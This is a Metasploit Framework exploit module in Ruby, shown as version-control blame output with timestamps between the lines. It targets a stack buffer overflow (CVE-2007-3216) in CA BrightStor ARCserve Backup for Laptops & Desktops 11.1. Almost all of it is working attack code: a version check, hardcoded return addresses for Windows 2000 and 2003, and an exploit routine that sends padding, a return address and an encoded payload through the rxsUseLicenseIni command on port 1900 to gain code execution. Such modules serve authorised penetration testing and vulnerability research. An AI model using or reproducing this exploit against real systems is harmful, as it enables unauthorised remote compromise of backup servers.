2008-08-02 15:03:13 +00:00
|
|
|
##
|
2010-01-26 20:12:13 +00:00
|
|
|
# $Id$
|
2008-08-02 15:03:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-08-02 15:03:13 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2008-08-02 15:03:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2008-08-02 15:03:13 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2008-08-02 15:03:13 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2008-08-02 15:03:13 +00:00
|
|
|
'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
|
2010-04-30 08:40:19 +00:00
|
|
|
for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an
|
2008-08-02 15:03:13 +00:00
|
|
|
attacker could overflow the buffer and execute arbitrary code.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2007-3216' ],
|
2009-05-19 13:20:32 +00:00
|
|
|
[ 'OSVDB', '35329' ],
|
|
|
|
[ 'BID', '24348' ],
|
2008-08-02 15:03:13 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 700,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
|
|
|
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ],
|
|
|
|
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
|
|
|
|
],
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Jun 6 2007',
|
2008-08-02 15:03:13 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options([ Opt::RPORT(1900) ], self.class)
|
2008-08-02 15:03:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
|
2010-11-03 22:09:44 +00:00
|
|
|
sock.put("0000000019rxrGetServerVersion")
|
2008-08-02 15:03:13 +00:00
|
|
|
ver = sock.get_once
|
|
|
|
|
2009-10-25 16:40:19 +00:00
|
|
|
disconnect
|
|
|
|
|
2012-06-04 22:26:15 +00:00
|
|
|
if ( ver and ver =~ /11.1.742/ )
|
2008-08-02 15:03:13 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
|
2009-10-25 16:40:19 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2008-08-02 15:03:13 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
data = rand_text_alpha_upper(4108) + [target.ret].pack('V')
|
|
|
|
data << payload.encoded + rand_text_alpha_upper(rand(300) + 1)
|
2008-08-02 15:03:13 +00:00
|
|
|
|
|
|
|
sploit = "0000004820" # Command Length Field
|
|
|
|
sploit << "rxsUseLicenseIni" # RPC Command
|
|
|
|
sploit << "~~" # Constant Argument Delimiter
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit << data
|
2008-08-02 15:03:13 +00:00
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
# One-shot overwrite...
|
2010-11-03 22:09:44 +00:00
|
|
|
sock.put(sploit)
|
2008-08-02 15:03:13 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-05-19 13:20:32 +00:00
|
|
|
end
|